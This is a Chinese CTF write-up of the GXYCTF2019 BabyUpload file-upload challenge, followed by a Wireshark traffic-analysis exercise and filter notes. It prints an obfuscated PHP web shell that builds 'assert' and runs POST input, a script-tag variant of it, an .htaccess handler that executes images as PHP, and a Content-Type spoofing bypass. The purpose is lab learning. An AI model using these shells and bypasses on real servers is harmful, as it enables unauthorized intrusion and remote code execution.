文件上传巩固及流量分析

news2024/11/19 1:36:41

1.[GXYCTF2019]BabyUpload

1)打开题目也是没有任何提示,

2)进入环境,看到下面页面猜测是文件上传漏洞,下面开始传文件

3)首先上传一句话木马 a.php,代码如下:

下面这个代码中并没有写传统的一句话木马,因为直接写一句话木马需要关闭系统防火墙

<?php
	$a="a"."s";
	$b="s"."e"."rt";
	$c=$a.$b;
	$c($_POST['123']);
?>

提示后缀不能有ph,那么根据前面做过类似文件上传的题,php3,php5,phtml等后缀也无法使用了。

5)那就将文件后缀改为 jpg,上传后页面如下:

6)由此我们得知,后端检测出我们的.jpg文件源码中含有php代码。

那么只有将.jpg文件中的php代码用 javascript 的形式代替了,代码如下:

<script language='php'>
    $a = "a"."s";
    $b = "s"."e"."r"."t";
    $c = $a.$b;
    $c($_POST["123"]);
</script>

重新上传,页面如下:

7)这里也是上传成功了,接下来按照之前做题惯例,它应该还得解析jpg文件中的php代码了,这时就需要上传.htaccess文件来帮助解析,它必须包含以下代码

SetHandler application/x-httpd-php

这条命令可以解析所有后缀文件中的 php 代码。

上传出现这问题我也是懵了,抓个包看看吧

猜测应该是,后端代码对文件类型--Content-type有限制。

这就需要我们在上传 .htaccess 文件的同时,利用Burpsuite进行抓包,修改 Content-type为image/jpeg,如下:

修改为image/jpeg

然后放包

页面显示上传成功(.htaccess successfully uploaded)

然后再次上传jpg文件,如下:

由此可以拼接网址

http://c36ead8b-24f9-48f5-ab15-e7308cb50dc7.node5.buuoj.cn:81/upload/c9b8b9f7c985fa1d10ca30c0f9a2de85/b.jpg

然后用蚁剑链接

成功找到flag

总结一下这题简单来说它就是过滤了php,限制了文件上传的内容,然后需要解析jpg文件,需要上传.htaccess文件来进行解析,以及修改数据类型,拼接url头等

2.数据包中的线索

1)下载附件,用wireshark打开,从中进行数据分析

2)过滤一下http流

3)找到一个状态值为200的,看着有点问题,打开seesee

看到里面是类似于base64编码的一大篇

4)选中编码去解码,注意最后面多了个0要去掉

太大解析不出来,直接将他存为图片

拿到   flag{209acebf6324a09671abc31c869de72c}

当然这里需要注意的是

/9j是jpg文件头的 base64 编码

3.最后加上昨天学的再总结一下流量分析

首先whireshark提供了三个主要面板,包括:

抓包面板(Capture Panel):

        抓包面板用于捕获网络数据包,并显示已经捕获的数据包列表。在该面板中,可以选择捕获的网络接口、设置捕获过滤器、启动和停止抓包等操作。此外,还可以通过右键单击数据包,查看详细信息、导出数据包、跟踪TCP流等。

数据包列表面板(Packet List Panel):

        数据包列表面板显示已经捕获的数据包列表,其中每个数据包占据一行,并列出了有关该数据包的一些关键信息,如时间戳、源IP地址、目标IP地址、协议类型、数据包长度等。此外,还可以通过对列表进行排序、筛选、搜索等操作,方便用户查找和分析数据包。

数据包详情面板(Packet Detail Panel):

        数据包详情面板显示选定数据包的详细信息,包括各个协议层的数据结构和字段值。用户可以通过展开不同的节点,查看不同的协议头和数据负载,帮助用户深入理解数据包的内容和意义。

常用语法:
(在搜索框输入http即可看http的流量)

tcp:显示所有TCP协议的数据包
udp:显示所有UDP协议的数据包
http:显示所有HTTP协议的数据包
dns:显示所有DNS协议的数据包
icmp:显示所有ICMP协议的数据包

ip地址筛选:
ip.addr == 192.168.0.1:显示与指定IP地址相关的所有数据包
ip.src == 192.168.0.1 :显示源IP地址为指定地址的数据包
ip.dst == 192.168.0.2:显示目标IP地址为指定地址的数据包

端口筛选:
tcp.port ==  80:显示使用指定TCP端口的数据包
udp.port == 53:显示使用指定UDP端口的数据包

比较运算符:
==:等于,例如:http.request.method == "POST"
!=:不等于,例如:ip.addr != 192.168.0.1
<、>:小于、大于,例如:frame.len > 100 或 frame.len < 50,可以指定过滤数据包长度

数据包内容过滤规则:
http.request.method == "GET" 或 tcp.flags.syn == 1,可以通过指定数据包内容,只保留符合条件的数据包


:    关于我也不太懂的一点

      # 就是在TCP三次握手过程中,客户端向服务端发送一个SYN标志的数据包,表示请求建立连接。而tcp.flags.syn == 1就是Wireshark中用于匹配TCP SYN标志的过滤规则,其中1表示该标志位被置为1,表示该数据包是一个SYN数据包。当Wireshark捕获到一个TCP数据包时,会检查该数据包的TCP头部中的SYN标志位是否被置为1,如果符合条件,则该数据包会被匹配并显示出来。这样,用户就可以快速过滤出所有的TCP SYN数据包,方便进行相关的分析和处理。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1710373.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

pinia持久化未生效

pinia官方文档 https://prazdevs.github.io/pinia-plugin-persistedstate/zh/guide/ pinia持久化未生效的原因很有可能就是在main.js中重复创建了pinia&#xff0c;导致持久化未生效

基于jeecgboot-vue3的Flowable增加表单功能(一)

因为这个项目license问题无法开源&#xff0c;更多技术支持与服务请加入我的知识星球。 1、通过online表单设计进行&#xff0c;生成代码 主要注意2点&#xff0c;1个是查询需要选择哪些字段&#xff0c;同时创建人员需要选择用户选择 这里&#xff0c;SysForm增加下面的一个注…

反射、类加载、静态代理,jdk动态代理,cglib代理

一、 反射 反射是在程序运行状态下&#xff0c;动态获取类的结构&#xff08;属性&#xff0c;构造器&#xff0c;方法&#xff0c;注解&#xff09;&#xff0c;动态的创建类对象然后调用类中的属性方法。反射的起源Class&#xff0c;Class中包含类反射要使用的API 获取Class的…

AI 前沿发展摘要

&#x1f514; AI 前沿发展摘要 1⃣️ ChatScene: 一句话生成自动驾驶关键场景 主要功能: Chat Scene 能够在CARLA仿真环境中创建多样化和复杂的场景, 有效地弥合了交通场景文本描述和CARLA实际仿真之间的鸿沟 效果: 通过使用生成的安全关键场景来微调不同的基于RL的自动驾…

艾体宝干货 | 教程:使用ntopng和nProbe监控网络流量

本教程旨在分享如何通过 ntopng 和 nProbe 这两款工具&#xff0c;深入了解和掌握网络流量监控的艺术。我们将提供从基本概念到高级应用的全面指导&#xff0c;涵盖了在多种平台和设备上的部署和配置步骤。不论您是专业人员还是技术爱好者&#xff0c;跟随本教程&#xff0c;都…

『香橙派』基于Orange Pi AIpro打造高效个人云存储解决方案

&#x1f4e3;读完这篇文章里你能收获到 了解Orange Pi AIpro硬件优势&#xff0c;为构建高效云存储基础设施的理想平台。学会使用Orange Pi AIpro硬件平台&#xff0c;搭载Ubuntu Server系统&#xff0c;打造云存储环境。掌握利用Kodbox软件&#xff0c;享受文件管理、多格式…

如何将 Langfuse 链接到自有 PostgreSQL 数据库并升级 PostgreSQL 版本

在本文中,我们将介绍如何将 Langfuse 应用程序链接到自有的 PostgreSQL 数据库,并升级 PostgreSQL 以支持 jsonb 类型。 前提条件 运行 CentOS 7 的服务器已安装的 PostgreSQL 9.2 或更低版本需要将 Langfuse 连接到自有数据库,并升级 PostgreSQL 以支持 jsonb 类型1. 将 La…

迅为RK3562开发板专为3562编写10大分类2900+页文档

iTOP-3562开发板采用瑞芯微RK3562处理器&#xff0c;内部集成了四核A53Mali G52架构&#xff0c;主频2GHZ&#xff0c;内置1TOPSNPU算力&#xff0c;RK809动态调频。支持OpenGLES1.1/2.0/3.2、0penCL2.0、Vulkan 1.1内嵌高性能2D加速硬件。 内置独立NPU, 算力达 1TOPS,可用于轻…

2024中青杯数学建模竞赛B题药物属性预测思路代码论文分享

2024年中青杯数学建模竞赛B题论文和代码已完成&#xff0c;代码为B题全部问题的代码&#xff0c;论文包括摘要、问题重述、问题分析、模型假设、符号说明、模型的建立和求解&#xff08;问题1模型的建立和求解、问题2模型的建立和求解、问题3模型的建立和求解&#xff09;、模型…

设计模式:外观模式 导诊台。空指针异常

文章目录 UML类图目录结构思路Register.javaOutpatientService.javaPrice.javaPharmacy.javaFacade.java空指针异常 Test.java UML类图 目录结构 思路 照着写&#xff0c;然后getRegister&#xff08;&#xff09;方法的具体实现就是&#xff1a;打印一句话&#xff0c;然后到…

Java集合面试题集——2024最新大厂面试

文章目录 1. 集合框架2. ArrayList和LinkedList2.1 源码分析2.2 ArrayList listnew ArrayList(10)中的list扩容几次?2.3 如何实现数组和List之间的转换2.4 ArrayList和LinkedList的区别2.5 如何保证ArrayList的线程安全&#xff1f;2.6 CopyOnWriteArrayList是如何实现线程安全…

优选免单:重塑电商销售模式的新策略

随着电商行业的不断发展&#xff0c;一种名为“优选免单”的新兴销售模式正逐渐崭露头角。该模式以独特的价格策略、创新的奖励机制和巧妙的社交网络应用为核心&#xff0c;成功激发了消费者的购买热情&#xff0c;并实现了销售的高速增长。 一、规范运营&#xff0c;避免潜在风…

STL源码刨析:序列式容器之list

目录 1.前言 2.list的节点定义和结构 3.list的迭代器定义和结构 4.list的定义和结构 5.list的内存管理 6.list的元素操作 前言 在刨析了vector容器的源码后&#xff0c;list容器相比与vector容器&#xff0c;其元素的插入和删除较快&#xff0c;不需要对原本容器中的元…

哈希冲突的常见解决方法【附C++代码】

在C中&#xff0c;哈希表是一种常用的数据结构&#xff0c;用于实现快速的插入、删除和查找操作。 哈希表的核心在于哈希函数&#xff0c;它将输入的关键字转换为一个数组索引。然而&#xff0c;不同的关键字可能映射到相同的索引&#xff0c;这种情况称为哈希冲突。 有效地解…

【MIT 6.5840(6.824)学习笔记】GFS

1 分布式存储系统难点 在设计大型分布式系统或存储系统时&#xff0c;初衷通常是为了获得显著的性能提升&#xff0c;通过数百台计算机的资源来并行完成大量工作。因此&#xff0c;性能问题成为最初的关注点。一个自然的想法是将数据分片&#xff08;Sharding&#xff09;&…

GPT-4 与 GPT-4 Turbo有什么区别?

在不断发展的人工智能和自然语言处理领域&#xff0c;OpenAI 的 GPT 系列一直走在最前沿&#xff0c;彻底改变了机器理解和生成类人文本的方式。每一次迭代&#xff0c;进步都会突破可能性的界限。 最新的条目 GPT-4 和 GPT-4 Turbo 引起了人工智能社区内外的极大兴趣和争论。…

保留字与标识符

目录 保留字 标识符 自学python如何成为大佬(目录):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 保留字 保留字是Python语言中一些已经被赋予特定意义的单词。开发程序时&#xff0c;不可以把这些保留字作为变量、函数、类、…

河道流量监测解决方案 河道水位监测 水质在线监测-计讯物联科技

在城市河道与入海口间的通道施工项目中&#xff0c;拦水坝不仅承担着调节水流、保护生态平衡的使命&#xff0c;也是确保施工区域安全的关键屏障。当前&#xff0c;项目团队面临着严峻的挑战&#xff1a;水位的异常上升和流量的急剧变化&#xff0c;这些都可能对拦水坝的稳定性…

公司预防文件泄密的常见手段 | 文件防泄密软件推荐排行榜

在当今信息化社会&#xff0c;企业面临着越来越多的文件泄密风险。为了保护企业的核心信息和资产&#xff0c;公司需要采取一系列手段来预防文件泄密。本文将介绍公司预防文件泄密的常见手段&#xff0c;并推荐五款优秀的防泄密软件&#xff0c;帮助企业构建更为严密的数据安全…

Mongodb 可视化工具Robot 3t安装【windows环境下】

下载应用 打开连接点我 选择windows版本并点击下载 下载完毕&#xff0c;双击并傻瓜安装 连接数据库 点击图标&#xff0c; 点击create创建连接 填写host和port 如果有用户名密码的&#xff0c;在authentication里填写 5. save 并连接即可使用&#xff01;